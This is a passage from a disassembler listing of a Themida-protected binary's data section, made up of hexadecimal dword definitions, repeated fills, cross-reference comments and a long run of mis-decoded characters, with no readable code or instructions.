0FD38A58h, 187h, 0CE8F900h, 0E8000000h, 0AFB9460Ah dd 0EC74D5C0h, 0E975FDC3h, 10h, 13B3C4D3h, 2BE4316h, 0EBE82EC0h dd 2D076329h, 11E9605Ah, 33000000h, 0A4D7FD45h, 0F1237AB0h dd 4B02ED8h, 0F1363CF5h, 61D18B66h, 3810Fh, 0E6800000h dd 4CB9F93Ch, 0F948DEB1h, 54BD56B8h, 6E956h, 0B070000h dd 0FDA1FF67h, 0C0B7D08Ah, 0CA816660h, 0F3813F41h, 66325B87h dd 30D88061h, 9BBAEA8Ah, 0E96EF41Dh, 0Ah, 7A687013h, 342B2AABh dd 8D0FAA73h, 26h, 10E8h, 4BF44100h, 760AE3Bh, 7301EB40h dd 0E897C061h, 0BE92Ah, 245F0000h, 0CCBB3A49h, 2DB757A4h dd 9E85A30h, 91000000h, 0D2976ACEh, 36668D8Eh, 5980F780h dd 0FE9h, 0E034FA00h, 0F70CFF1Ch, 5B9B83B1h, 685F8AAAh dd 48A0Fh, 0BA660000h, 0DE97F6Fh, 8F000000h, 951A37A5h dd 7DCE7ADDh, 5A66D900h, 338694BFh, 0E1BA6676h, 7E9BBh dd 0D2EA0000h, 0C8E9D4E3h, 6190B850h, 0CE806853h, 0EF8AF533h dd 9E9h, 6BCC1000h, 5404610Fh, 800F404Eh, 0Ah, 48C0Fh dd 0B8660000h, 0BF0F4180h, 20B866C0h, 0D88B665Fh, 67DA8166h dd 50CABB7Eh, 8F0F2F49h, 0 dd 16800Fh, 11E90000h, 0DD000000h, 0E49939BBh, 5B3B06E5h dd 45FE770Ah, 0D86C1DAh, 13CE1EBAh, 0D2B70F2Dh, 7E9h, 0A3735B00h dd 0E71FD7EEh, 0EE8h, 5D4F0F00h, 3A3627ABh, 70E89D12h dd 66A701D7h, 5B02EFB8h, 0BE8h, 2FBC9B00h, 0C4FA4AFCh dd 0FF88FFB8h, 1880F5Ah, 0FC000000h, 8C0F7CB2h, 1, 840F52F9h dd 4, 9C81B866h, 0E8F98B5Eh, 0Bh, 64958B36h, 3CDA0E67h dd 606E3C8Dh, 0CE9h, 18CA6C00h, 960C7097h, 0FD1E1624h dd 61616062h, 0CE95Ah, 0C6790000h, 8AF0A31Dh, 65CCAA8Dh dd 8B66E4CDh, 0B1C081CEh, 66377D45h, 0B4E5EE81h, 0F9F6B70Fh dd 16EB8166h, 0E8DE8BEFh, 7, 3702FFF2h, 0F98AFB21h, 20C6815Eh dd 0F3C07D4h, 810FD3BFh, 5, 34E08166h, 58FC5098h, 60CEB70Fh dd 0C1A6D881h, 9DBA14C7h, 616EE7F9h, 665AC780h, 0F91E2BEh dd 18Dh, 0FE9F900h, 19000000h, 88B479E5h, 5082E01Ah, 0F2A5B0F5h dd 840F3B38h, 18h, 13E9h, 68F4B000h, 54DD37AEh, 342F44A1h dd 785ED287h, 39E1286Eh, 10E8F98Bh, 56000000h, 578211E2h dd 1420895h, 68AE5364h, 8B99D798h, 8B6659F8h, 0F281F8D0h dd 2556AA4h, 0FE9h, 3DCE3A00h, 250A7167h, 88A77652h, 69BF8737h dd 8AC2B70Fh, 9F281CEh, 802696BBh, 0F5607CF2h, 0D0EDB866h dd 0AE86061h, 32000000h, 0B15D2D52h, 0B24763E9h, 595F538Ah dd 66D4B361h, 81ECEE81h, 5EF6FFB8h, 14E922h, 0B79B0000h dd 0D8941D11h, 5A6A33FBh, 0D6FC3BE1h, 0A513D8BCh, 50569BF3h dd 60BDFABEh, 0E95F5B79h, 12h, 0AE4AB809h, 407212C1h, 67C11D6Ch dd 0A476D105h, 6060AA21h, 0EE5B966h, 6E9h, 0EC1FD600h dd 61D78EBCh, 0FCE8B61h, 0D78BD2BFh, 14E9h, 8A021800h dd 28507F27h, 0CE2B3463h, 59D06D1Ch, 6BFEA5E4h, 2CF080A1h dd 13E8h, 32DB0400h, 5F5C5888h, 6A5B5B4Ah, 3F11C92h, 701F8A6Ah dd 5E8h, 28469B00h, 0BF66AD09h, 585F5ACAh, 3CEBB0B8h, 810FF957h dd 5, 9E22BB8h, 0BF0F606Bh, 10E9DFh, 0A26A0000h, 0CB1D1EB6h dd 1434CE13h, 0ED52F287h, 0F61E167h db 84h byte_6101E9 db 2, 2 dup(0) ; DATA XREF: Themida_:005A8C06o dd 8AFA8B00h, 0F6BF0FD1h, 0C9BF0FF9h, 0F5C4C281h, 4BBE78D5h dd 0F9599368h, 0DE8h, 783BD00h, 0AE7CB40Dh, 21063BA3h dd 81666BF4h, 5F3C24DEh, 0E959FC51h, 14h, 0BCB95C0h, 45ECF67Bh dd 66389710h, 0A92C140Bh, 0EABE5BBFh, 0AE9h, 57610000h dd 47AF766Ah, 6694729Eh, 9EA2E781h, 81CE8B66h, 3C1E6CEBh dd 0BF66600Bh, 9CB43016h, 8AF98A61h, 0F8F08BC7h, 0C78AD58Ah dd 0FC9BF0Fh, 108Eh, 8E85100h, 0E5000000h, 61F1EA4Bh, 59B67856h dd 1D830F59h, 0E8000000h, 0Bh, 0C0696E1Bh, 2C02B2CFh, 0E9FBCF7Fh dd 7, 0B8806DCCh, 5B98C78Bh, 28CBA66h, 0A2FBD9BFh, 29DD8064h dd 0FD88B66h, 0FF8DAB7h, 1B81h, 14E96000h, 68000000h, 89DF5303h dd 0FAC3B3F4h, 95EE7123h, 0CA6BE949h, 6148F7ADh, 3830Fh dd 8B660000h, 0F6B70FF2h, 0F8D38B66h, 0CEB70F60h, 64E88061h dd 1D880Fh, 8E0F0000h, 17h, 11E8h, 91485900h, 1D89465Ah dd 597CB59Ch, 88056CE8h, 0F5BF165h, 685h, 5BCB8100h, 6607ACADh dd 0F60F98Bh, 12E8D3B7h, 45000000h, 0A12D6E57h, 46414A3h dd 0E81427A9h, 4FCE1C81h, 0C1816622h, 6159BBBAh, 3B70D381h dd 8C0F32E0h, 2, 8B0FDA8Ah, 5, 43FB3DBAh, 2EBA665Eh, 5E8F998h dd 0B2000000h, 739B10Dh, 5FC6B70Fh, 0F38B6660h, 66615951h dd 810FF28Bh, 3, 533CCA80h, 5AF78B66h, 1B840Fh, 0E9510000h dd 14h, 10C54A09h, 51FEEB17h, 0DAFAA8AFh, 9EA75C00h, 8BEE0FD2h dd 0A6FFBE59h, 8166006Bh, 8B0D65D6h, 0F2BF0FF0h, 51D3BF0Fh dd 66606059h, 0DE80FA8Bh, 61F56109h, 4098BF66h, 8D74B966h dd 9E9h, 4140FD00h, 44B5F63h, 0AFB826A6h, 0B329248Ah, 0FE85Dh dd 5BC80000h, 3C4DE441h, 0F5A263AEh, 0C522108Ah, 0E9605878h dd 11h, 3548DDC3h, 3FD611EEh, 30C95BD0h, 0C8DB0A67h, 8B0F6102h dd 6, 0B4585760h, 0F28161A6h, 2A8C287Eh, 3052BB66h, 0B1F28B66h dd 7800F24h, 51000000h, 9B2FCBBAh, 9E85973h, 24000000h dd 0E480E9FCh, 96A0C692h, 5FCEB70Fh, 0DE816BB6h, 5ADF0CD0h dd 5820Fh, 76B90000h, 575BEB5Bh, 5A9BEA80h, 66C3BF0Fh dd 71C7C881h, 0BF0FC9B2h, 58B0FF0h, 0B8000000h, 76DFAF4Ah dd 8D6BBB66h, 0CF9E33B9h, 0A840F48h, 0F000000h, 487h, 0E2BB6600h dd 0C68B6666h, 8166F860h, 61CC39E6h, 8B66D18Bh, 2880FF7h dd 0B6000000h, 0DE9D5h, 0E6210000h, 518D3B80h, 0D74FA99Ch dd 0E93053C6h, 0Eh, 0FD288ABDh, 0F24D6A1Ch, 0A6AC3A10h dd 0F0BE4D1Eh, 6006A497h, 13E9h, 6089D300h, 5E24DE48h dd 1B85661Ah, 0FBA1D507h, 0DD25170Ah, 0C95173BFh, 11E96173h dd 0FA000000h, 0FBC1A946h, 0A3E1326Ah, 0A58629D4h, 89DF208h dd 10880Fh, 0BE90000h, 0D2000000h, 0CF0227F7h, 0C10C1164h dd 6660B7C0h, 814B3AB9h, 4E9F00C2h, 9E9615Bh, 0DA000000h dd 6DAAF4FAh, 80A3AD7Eh, 2860F60h, 8B000000h, 0C9E080F8h dd 54B86661h, 11E877h, 40F30000h, 6E95B527h, 0D3F7EE83h dd 0A37E0B20h, 0E860984Bh, 0Ch, 0DEF79354h, 6D50AA59h dd 85E439BCh, 0D26658BBh, 815E5F5Ch, 0FA1BD5E7h, 12E952h dd 0E4B90000h, 633CF005h, 6A1DF768h, 0B3DE9184h, 555A46ADh dd 6E8h, 6564A300h, 0BEED87D5h, 1006DB94h, 0CABF0F5Eh dd 158C0Fh, 0DE80000h, 6D000000h, 1229A894h, 0DD428C2Ah dd 0CE9C8071h, 66585956h, 1BCBE281h, 0F630DB81h, 6E94769h dd 46000000h, 0A437AFE6h, 0BABA6610h, 0F5A5302h, 28Bh dd 8AF08A00h, 0BCB866CAh, 8E929h, 12BE0000h, 0A74BE0D9h dd 0BF0FB4C7h, 0F480FCC9h, 0EDBE66E5h, 12E9D0h, 0DEF60000h dd 20980B8Ah, 0CE2A4426h, 7D5D012Dh, 0BCDFE0ADh, 8AF7B7FCh dd 2BB966CAh, 8060F586h, 800F81CEh, 2, 8B616160h, 10E8C8h dd 0EC930000h, 0C6106ED0h, 0AF94DAB6h, 68F275F5h, 0EE957ECh dd 91000000h, 9ADA1409h, 0B6350049h, 94B748CFh, 60525B0Ah dd 61FA8AF9h, 4192B95Ah, 0B8664B0Ch, 0B35226BFh, 8B665FFEh dd 0FEC7B8C1h, 5E857F2h, 0ED000000h, 92B5920Dh, 6E9h, 4275C500h dd 5921276Ch, 0EDA6EFB8h, 0F88B666Bh, 0DFB70F60h, 0F6142B7h dd 8160F7BFh, 0AB086BE1h, 61F08B0Bh, 23DCBDB9h, 88E0F7Dh dd 0F000000h, 289h, 6079B200h, 51F3BB66h, 0F8CCB461h, 75F68166h dd 12E844h, 22370000h, 4D363072h, 8B01D306h, 9EC3F75Eh dd 8FC37696h, 6E9h, 30069800h, 5B8C92FAh, 0FCAB70Fh, 2D82h dd 0EE800h, 0B0740000h, 0ED21F1AAh, 92731CB4h, 0AC3C6BEBh dd 14E9h, 83021300h, 3B8D55A2h, 0BFF59958h, 0DBEB437h dd 3F07D5E5h, 0BF665BDBh, 66531282h, 0D1BC881h, 7E85Bh dd 0FEC10000h, 41CA276Fh, 0D78166C5h, 0F592B8Ch, 38Ah dd 0C7BF0F00h, 8F96B9F9h, 8B660CCDh, 0F810FF2h, 50000000h dd 8E9h, 93B75D00h, 0F7F81B48h, 820F592Dh, 8, 28C0Fh, 0F08B0000h dd 60604EB3h, 0DE8h, 6AF43A00h, 0BE9AF175h, 16E3349Bh dd 615F6B13h, 7CB86661h, 7E180FDh, 10E9h, 5BA6A300h, 0FC4A36F7h dd 25DF5F57h, 614A0D15h, 0CE8F9h, 7A710000h, 0B57AEAEAh dd 0FB9CBBEAh, 7AB85CE7h, 5E3892C1h, 0E9D8BF0Fh, 9, 2364116Ch dd 1231B7BBh, 8E0F6082h, 0 dd 0D8B70F57h, 8166615Ah, 0B9B664D0h, 1234B6FBh, 6BB81EB5h dd 0E97AB6C2h, 14h, 87E4D3BBh, 3AB33D82h, 0A66ECE6Dh, 0DE39E678h dd 44EFEEABh, 11890Fh, 0E9500000h, 0Ah, 0E863BCAFh, 0FD5ADEC6h dd 0E959AA46h, 0Ah, 41C3D0F7h, 59BC8DBCh, 7EB874A8h, 0E965AFA7h dd 14h, 0F4CED3C5h, 9416EA5Eh, 1ED562DBh, 7C09C9E2h, 454A89ADh dd 0B459F550h, 0F7BF0F62h, 0BBC2BF0Fh, 57E41FFh, 8E9h dd 0EFD4A900h, 5D45D30Ah, 0A2B06099h, 6FBB6660h, 0F6161BFh dd 686h, 0E4F38100h, 807AA79Eh, 820FE5E3h, 6, 79BDEA81h dd 81660030h, 8BCBACC1h, 4918B9CBh, 6E83D4Bh, 5A000000h dd 9C1D8946h, 0F47ABBB5h, 0F5F5BB4h, 0C85h, 68E0F00h, 0F000000h dd 8Bh, 0E9F88B00h, 13h, 0F0125F74h, 978032E3h, 1D55B2A8h dd 0B415F270h, 0F8F9044h, 689h, 58E28100h, 0E96842F4h dd 13h, 90FF107Dh, 37CD36B0h, 7F319AB2h, 4C77E87Ah, 60681616h dd 12E9h, 0E3853E00h, 2B8637B1h, 591EDA60h, 6DA786Ah, 8AFD5262h dd 850F61ECh, 3, 0BAF9B70Fh, 1397CE1Eh, 0F83CE580h, 0D9D8BE66h dd 7CFFF381h, 66601558h, 8061DA8Bh, 7E958EDh, 0FC000000h dd 2B29839Fh, 8E8356Dh, 0C8000000h, 762E260Ah, 6006ED4Bh dd 6E9h, 0C0EFEA00h, 617F3A15h, 0C3E1805Eh, 0FE9h, 15780B00h dd 0BC9ABF62h, 713CFEBCh, 5F3C6C71h, 10E8F88Bh, 0F9000000h dd 0B4EC5763h, 668F43DDh, 80E576A0h, 0B1B4D580h, 0F6815B49h dd 682A56C9h, 0EE8h, 0CE7F2500h, 0FC178BE8h, 0BB4ABF12h dd 0E8C04FBCh, 11h, 0DCA64A20h, 8F18521Fh, 0FB5D5FE5h dd 73403FC6h, 5E59F576h, 6810Fh, 60600000h, 61585361h dd 8E960h, 1DB60000h, 5C7EE93h, 0F60D871h, 84h, 66616100h dd 8F0FDF8Bh, 8, 28C0Fh, 5E510000h, 0B8D6B70Fh, 1CD42586h dd 9ADD23BFh, 0E3816076h, 7CA94A29h, 6661C38Bh, 6650D0BBh dd 0B0A6C3BEh, 1BBE6687h, 8E952h, 22D20000h, 0C8B70C3Fh dd 0E281A4DEh, 16997D4Ch, 299295B8h, 0D5C8BE36h, 820F6964h dd 18h, 13E9h, 0D8F8A600h, 9A05965Fh, 419F8AEAh, 954F37C0h dd 647A5330h, 815012B1h, 0C25CEEF0h, 0B70F5A0Fh, 0EB966C1h dd 870FF813h, 0 dd 6840Fh, 66510000h, 5EB7A0B8h, 0EA80F8F9h, 0DF816684h dd 83B0A0D1h, 0BF0FFA8Bh, 39E781D0h, 0F34C9F8h, 885h, 2800F00h dd 8B000000h, 0A7C980C7h, 81F5D98Bh, 2BC94CE8h, 0BE840h dd 98D00000h, 0C101E9AFh, 0EB80DE3h, 0C78B66C5h, 1A850F5Bh dd 0E8000000h, 10h, 7D6D439Bh, 0C2EE143Dh, 38E39645h, 0E1405D22h dd 4963BF66h, 10E9505Bh, 99000000h, 0C075B326h, 0F78D595Bh dd 0A71312A8h, 58E5B71Fh, 96C08166h, 3ABB6627h, 0F08B6656h dd 0FD08B66h, 32BFFAB7h, 0B0477F4Ch, 0F8B70F69h, 2860FF5h dd 8B000000h, 4924BEFEh, 8B606769h, 12E9C6h, 0AE7A0000h dd 7C8214B1h, 726D567Ch, 500EDD41h, 1F90B481h, 0C7C78061h dd 38C88166h, 0AE96048h, 0B9000000h, 10F0E90Ch, 0EA3775A8h dd 14E9A5h, 208E0000h, 0B3AFE2BCh, 6F3909ACh, 0DC5312E8h dd 5D1D503Ah, 60612121h, 0AE956h, 5BFE0000h, 85A06BEFh dd 187CBE95h, 0B3BB6158h, 0F367ADFh, 381h, 0C8B70F00h dd 0FC3B0F8h, 0E881C2B7h, 29CF29D3h, 8003E480h, 81667AE7h dd 0E9A4FFE3h, 9, 8543E2Ah, 0E7FE09EBh, 9E956A9h, 0D4000000h dd 56757118h, 9719FC34h, 42B6F559h, 9870Fh, 8A0F0000h dd 3, 0E9DABF0Fh, 7, 0D0ADED90h, 8B120319h, 0DF8160D7h dd 587D2778h, 0DF8061FCh, 7BE66D5h, 0EA4BB834h, 0D2813F39h dd 2FDB26D0h, 0C1C7BA60h, 816128BDh, 31A7C4EEh, 940ABF2Ch dd 0F504A00h, 38Bh, 0FBC68000h, 8B66515Fh, 0FF95ADFh, 850FCEBFh dd 2, 12E8D18Bh, 24000000h, 0D53B6877h, 28817C3Dh, 9E7D143Ah dd 59C083A8h, 0BE974h, 7B710000h, 0ADDB75F4h, 0F73CC4BEh dd 666059E1h, 0A26BF381h, 8B6661F8h, 6E7B9D7h, 0F50312Dh dd 8158C8B7h, 5E4832F0h, 1089B912h, 4CB07E68h, 13E8h, 0DD356100h dd 422E3A5Ah, 6EAEE137h, 0D6524546h, 7C91323Ah, 7880F59h dd 57000000h, 820627B9h, 0E9605E67h, 0Ch, 0F30DB41Ch, 4F9B87E3h dd 5B4148A9h, 61F9B70Fh, 0EE96CB1h, 0B0000000h, 0D327FE49h dd 7E01DC50h, 27D1C4D9h, 13810F8Ch, 0E9000000h, 0Eh, 35EDA838h dd 91656871h, 0F9EB58CDh, 830F36B3h, 3, 0FCDEB70Fh, 66F81CB5h dd 0CA07F281h, 13E8F5h, 5B7B0000h, 99A0EF4Ah, 5BC25CEDh dd 339884D3h, 74A0B4D1h, 0C7BF0FC9h, 0BE85Eh, 9190000h dd 2CB54C2Ch, 0FBE77058h, 5DA8BE00h, 0B959575Fh, 26E9EA5Bh dd 5980B866h, 66F3B70Fh, 239FE781h, 35CE8166h, 0C88B6615h dd 0EE960h, 0B4360000h, 0D999242Fh, 47F43D9Dh, 0D59B258Dh dd 6147EA80h, 6E6CBB66h, 0E9DFD380h, 10h, 581A90C9h, 0F281665Eh dd 6BD1809Ch, 6EE34C52h, 0ACD28166h, 0BCF4BB02h, 0CE94A32h dd 9E000000h, 0ED479472h, 1345414Ah, 0BBF6EE80h, 38849FDBh dd 0F9FCD80h, 188h, 0BE9FC00h, 50000000h, 5110AFC9h, 3F49929h dd 0CF8A1C7Fh, 38A0FF5h, 0F000000h, 0D48AC2BFh, 0E9F6B70Fh dd 0Dh, 616FE882h, 0F4C86DE4h, 0EE70D60h, 8CBE665Ah, 13EA8135h dd 8B73859Eh, 0E08166F3h, 0FF536AFh, 8166F9BFh, 0E8E211C1h dd 0Ah, 0A8724A84h, 9A766FC7h, 62B76DBDh, 14E95Bh, 70B80000h dd 8D329E87h, 7D5C16E2h, 3B1A0516h, 0F35E6F3Fh, 0F18B0E8Ah dd 880FCE8Bh, 18h, 0CE8h, 45B05500h, 599F121Ch, 0FAF9B079h dd 98E88191h, 5B0B72C3h, 0FD7B70Fh, 0EE80D8BFh, 8880FAFh dd 0F000000h, 289h, 0F4FB700h, 682h, 0CDE78100h, 0E920F888h dd 5, 26A27AF9h, 8E0FF6h, 66000000h, 8C5EF081h, 0E82CC380h dd 0Ch, 0C8944DACh, 0B3C8F215h, 0F5D2FC57h, 68C0Fh, 0DF810000h dd 55C5D349h, 3890F5Fh, 66000000h, 0CE9D68Bh, 0E9000000h dd 924586C9h, 0ED3E55BDh, 5677007Bh, 515ED08Bh, 5BC9BF0Fh dd 2BE98166h, 0D88B663Dh, 7E9AAB7h, 0C6000000h, 796477F0h dd 8B663A95h, 28C0FF3h, 8A000000h, 57CE8BDCh, 0B38FE881h dd 605814ECh, 8BFB8B66h, 665361DEh, 5B159CB9h, 0FA8BDE8Bh dd 0DE857h, 0E5710000h, 0AAC9A501h, 7685A360h, 0B8B947F0h dd 5CFEA5CAh, 0DAB65B59h, 8D0Fh, 0F7810000h, 77A3DE05h dd 5920CBAh, 12E848h, 2C470000h, 21CF85D2h, 1EF6ADE3h dd 971BF5DDh, 0C2D9B9Dh, 0F5EFC8Ah, 36B6FFB7h, 226584BEh dd 6E90Ah, 40DC0000h, 0B2DDDD36h, 5E9h, 7430A000h, 0BA66A2D9h dd 0B70F1282h, 11E9D9h, 2CA10000h, 100337A4h, 6FD1BC45h dd 30E07850h, 0E996A634h, 13h, 0C8310D32h, 0E33F9F08h dd 0FA6BF9F3h, 0C8D35F3Bh, 661CD0EAh, 0B8F88BB9h, 3D97F738h dd 7341F081h, 0DE97EC1h, 55000000h, 0BEE2659Bh, 12958193h dd 7CF8BAFEh, 9880Fh, 0B3600000h, 0B840BBA2h, 0F6132CFh dd 0BE9F9B7h, 87000000h, 73EB5A94h, 9B9510B3h, 800F0BA5h dd 12h, 0DE9h, 9FC16500h, 0A294EF7Eh, 91CE8630h, 66F893E0h dd 1158D881h, 58F0Fh, 81660000h, 51E6BAC1h, 13E8h, 8572E900h dd 0DAF9CAFh, 4F03844Ch, 271EF01h, 0D749429h, 0F88B5E5Bh dd 625FB866h, 0BAFEBF0Fh, 63C1AF37h, 8B57E480h, 0F28BF9C8h dd 810F6FB5h, 0 dd 8E9h, 1EA98D00h, 6A63366Eh, 28B8666Ah, 0D98050F5h, 66F85B0Ch dd 6065ABBAh, 3820Fh, 0B70F0000h, 0D38052DFh, 0F615A95h dd 0E181F2B7h, 975F7A4h, 5880Fh, 0C8BB0000h, 0B217CF22h dd 38F0F81h, 66000000h, 8D0FC78Bh, 0Ch, 68A0Fh, 830F0000h dd 0 dd 0D4CBB966h, 0E78166FCh, 0EE99616h, 56000000h, 0E1CC190h dd 312B801h, 4B29E37Dh, 0C1BF0FDEh, 0E881C980h, 12h, 9F6A0612h dd 6AB0B461h, 787B4519h, 90EBA165h, 0EE8D94Ch, 93000000h dd 9A2CCFDAh, 0B999442Bh, 0BB64E988h, 880F46h, 5A000000h dd 8F0F59h, 0F9000000h, 9ED08166h, 0AE978h, 0E93F0000h dd 0C449A6F1h, 0B8553F41h, 14E9h, 6B7C9F00h, 2839789Fh dd 2DA3C882h, 0C30CAB44h, 0EE3548DDh, 8A5CB611h, 11E850C6h dd 7F000000h, 5F68FBCFh, 0F8CFE6E6h, 7BE68ABBh, 3ADAB403h dd 13E9h, 0E6E17F00h, 5DA4A2C0h, 2F299FA2h, 0BB6B4803h dd 0B2AE3DBFh, 0DE8B595Bh, 0D624D681h, 0BF0F547Dh, 0C78166F2h dd 81660AC1h, 81D29CD2h, 30EB42E0h, 0C381664Ah, 0C981D31Dh dd 6766D1Bh, 0DD1BA66h, 404E6BB8h, 0FE926h, 7BF00000h dd 10747925h, 0F05CD6Ch, 0DCB35FDBh, 0BE99Ah, 3EBF0000h dd 0AB6C4697h, 7C0A5E94h, 1DDE81A4h, 8045E383h, 66B52DC2h dd 8B66F560h, 816661CBh, 0E9ECD5C8h, 12h, 9448E619h, 96231185h dd 86F476A1h, 8707AD9Ah, 0CB0E54Fh, 0F2DD880h, 14E9D1B7h dd 0A000000h, 0F8031F13h, 1E03C58Fh, 17B1C380h, 0C0A4A792h dd 0F637F70h, 386h, 0D1CE8000h, 3860Fh, 0B70F0000h, 18C0FC6h dd 0F9000000h, 0DE9h, 0F6253600h, 0B521A966h, 15A525EFh dd 0F607B8Dh, 38Fh, 0E9D38000h, 61DBBF0Fh, 0C7CF8057h dd 0E7E9815Eh, 600CCC76h, 14E8h, 2116200h, 9646F189h, 428995AEh dd 0A9EE5DB8h, 0FDCF11F9h, 0C7BF0FE9h, 0F961F85Ah, 0DE9h dd 6682A600h, 0D987C1BDh, 0A0DDAB43h, 9E8E947h, 64000000h dd 0E783DD74h, 6CCC8354h, 6B0FBF59h, 81662142h, 0FB227C6h dd 85h, 0E8CF8A00h, 6, 0FF107D5Eh, 8166B090h, 5A65FBC2h dd 0B6C78166h, 0FDBA661Bh, 48F0FDDh, 60000000h, 0E9616160h dd 9, 0E0AC5C97h, 1E860064h, 820F50ADh, 3, 5857C580h, 5151CF8Bh dd 212AB966h, 81665E5Eh, 0E987BFDAh, 9, 4557F24Ah, 0C62586A9h dd 0AFBA6631h, 810F5281h, 11h, 0CE9h, 0DF81FD00h, 1684F197h dd 4F7EFFBEh, 0BA6658D2h, 0AE93F61h, 8A000000h, 8F845820h dd 4EE63791h, 0D2EA8142h, 0F10DA9Ah, 870FD0BFh, 12h, 0DE9h dd 0F600F400h, 40C6B2CBh, 1D30FF70h, 8A0FED7Dh, 3, 0BEDFB70Fh dd 23A1597Ah, 7EBF66F8h, 9E968h, 0DA0C0000h, 28413722h dd 0B7D15AFAh, 0F08B6689h, 10E9h, 5FE63600h, 51BB75D4h dd 2C64BC22h, 843AB859h, 0FA8B6661h, 5E956h, 0A2BB0000h dd 584C389Dh, 7E8h, 4E366300h, 0AF0DB892h, 0F605AF9h, 48Eh dd 0C4BA6600h, 0F3816630h, 0F61FC1Bh, 0DF80F7BFh, 0EE964h dd 0A7D60000h, 4CAD028h, 0E50B9D47h, 639FE03h, 188D0Fh dd 13E90000h, 0F1000000h, 0EF18B2BDh, 7499A94Eh, 72635F0h dd 6C7DC276h, 7DB22A48h, 0D8816660h, 0D8818555h, 6BA3345Fh dd 0F2816661h, 8C0FE257h, 6, 7D65F181h, 0E8501A00h, 7 dd 911B7F18h, 0F599F52Bh, 0D78B5F59h, 880F5E51h, 4, 68E7B866h dd 0D9816657h, 0E95AF000h, 0Ah, 28B2AD87h, 1E06CE35h, 0C781912Dh dd 7DDB52CBh, 0FE8h, 34383500h, 8A0AD42Eh, 4E432BFh, 73091629h dd 3136E0BAh, 0C1805943h, 0B966512Bh, 0E85AA02Fh, 0Fh dd 8DA1AF80h, 0EF406B4Fh, 0A4077446h, 596504A0h, 0CF8BFA8Bh dd 6E9h, 292C9400h, 0F70CF6Eh, 0E081FEB7h, 42D9499Eh, 4984B966h dd 0C1BFBA66h, 0B0BA66F8h, 0F6B70FAEh, 25F68166h, 0C88B66B5h dd 0AE9h, 5AA88F00h, 0FE33CF27h, 0F5842E9h, 6EB8DABFh dd 0F521567h, 0F8Fh, 7E85700h, 19000000h, 324D2ABDh, 5B59195Ah dd 257175BFh, 11E840h, 6CA10000h, 0CC1A9C8Ch, 0FA74375h dd 0C85916Dh, 0E8FE7F95h, 11h, 8B4569ADh, 0EF79AEF2h, 9EC10299h dd 0F1986244h, 840FA7h, 59000000h, 0F18B6658h, 9E9h, 4EFE3E00h dd 0F40132CAh, 0B7F5A38Bh, 3265B958h, 12E83FE8h, 70000000h dd 98B35BE2h, 0ACC8138h, 159D4132h, 579E1275h, 12E981h dd 27450000h, 0B4480660h, 58EC7BC9h, 0CB375C30h, 46A186EDh dd 118F0F5Ah, 0E9000000h, 0Ch, 54394C70h, 0F23C51ADh, 0B0CE3709h dd 0C3816656h, 605E41BAh, 61DFB70Fh, 0DA16BA66h, 80CA8166h dd 0EE80Eh, 0A6B0000h, 0E0335E7h, 0D39B7B9Eh, 1613B3C4h dd 74EE8160h, 523FDF0Dh, 665A6158h, 0B9E2C4BAh, 4B11C839h dd 0CE9h, 2BAE800h, 29F714E4h, 6E83EE37h, 0BE8C1h, 6070000h dd 0DA4A5C35h, 0DA178970h, 12E93Bh, 715D0000h, 17A04D00h dd 5C1CBBBh, 658328Bh, 207F37F0h, 810FF958h, 4, 5AF18B52h dd 0A832BA66h, 0BEC2C381h, 80600BB1h, 0BF0F06EEh, 0DE8161F6h dd 2C1C0F46h, 0EE8h, 70449400h, 13E31FB3h, 87B5C906h, 0E9AD340Dh dd 10h, 9D788C7h, 0D220C422h, 7278D211h, 0D0861AFEh, 815A505Eh dd 57EEA9DFh, 6E822h, 9F060000h, 62E5482Dh, 0BE85Fh, 832C0000h dd 9DF9ED24h, 0CD04C81Dh, 0E3B1588Dh, 9E9h, 0A8C4EA00h dd 0FF82A9B9h, 0FE85012h, 59000000h, 2872CA8Eh, 5ACF78F5h dd 8A042F94h, 81664469h, 5F51B3E1h, 10E9h, 0EAE99600h dd 6CF055E7h, 610B39ADh, 0BB8444E8h, 0BE85326h, 0F8000000h dd 9AAF878h, 0FB22369Fh, 5850323Dh, 0EA8A585Ah, 5B82DE81h dd 8B666E74h, 0BF0F60D7h, 4D480D7h, 0F2816661h, 0F8608FECh dd 0FED4BF61h, 0B8603308h, 2D415F80h, 3800Fh, 8B660000h dd 860F61DEh, 0Bh, 5840Fh, 81660000h, 0FA592E7h, 289h dd 6084B600h, 0B7F9B70Fh, 0BF0F611Dh, 14E9C3h, 5F1F0000h dd 696F2017h, 0C664AE37h, 1D8AE092h, 0A73AAD1Fh, 8166279Ch dd 0E93E0AE0h, 13h, 52152892h, 66EF60C6h, 4A2A6800h, 982215B8h dd 5753DEB1h, 0FE9h, 59B26400h, 78477916h, 0EA02B811h dd 9CB89B42h, 97BF665Eh, 91BE566Bh, 4B5h dup(91BE5674h) dd 0C4h dup(0B69A866Dh) dword_612D20 dd 0Eh dup(0B69A866Dh) db 6Dh byte_612D59 db 86h, 9Ah, 0B6h ; DATA XREF: Themida_:00582D28o ; Themida_:005847C8o ... dd 1219736Dh, 6Bh dup(12197364h), 0EA54FA64h, 2 dup(0EA54FA2Ah) dd 0A3DDFA2Ah, 116h dup(0A3DDB462h), 1Fh dup(242664EBh) dd 0DCDFE9EBh, 1C6h dup(0DCDFEAA5h) aEEEEEEEEEEEEEE db '₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯' ; DATA XREF: Themida_:005A9992o db 'κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κ' db 'ίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κί' db 'ά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά' db '₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯' db 'κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κ' db 'ίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κί' db 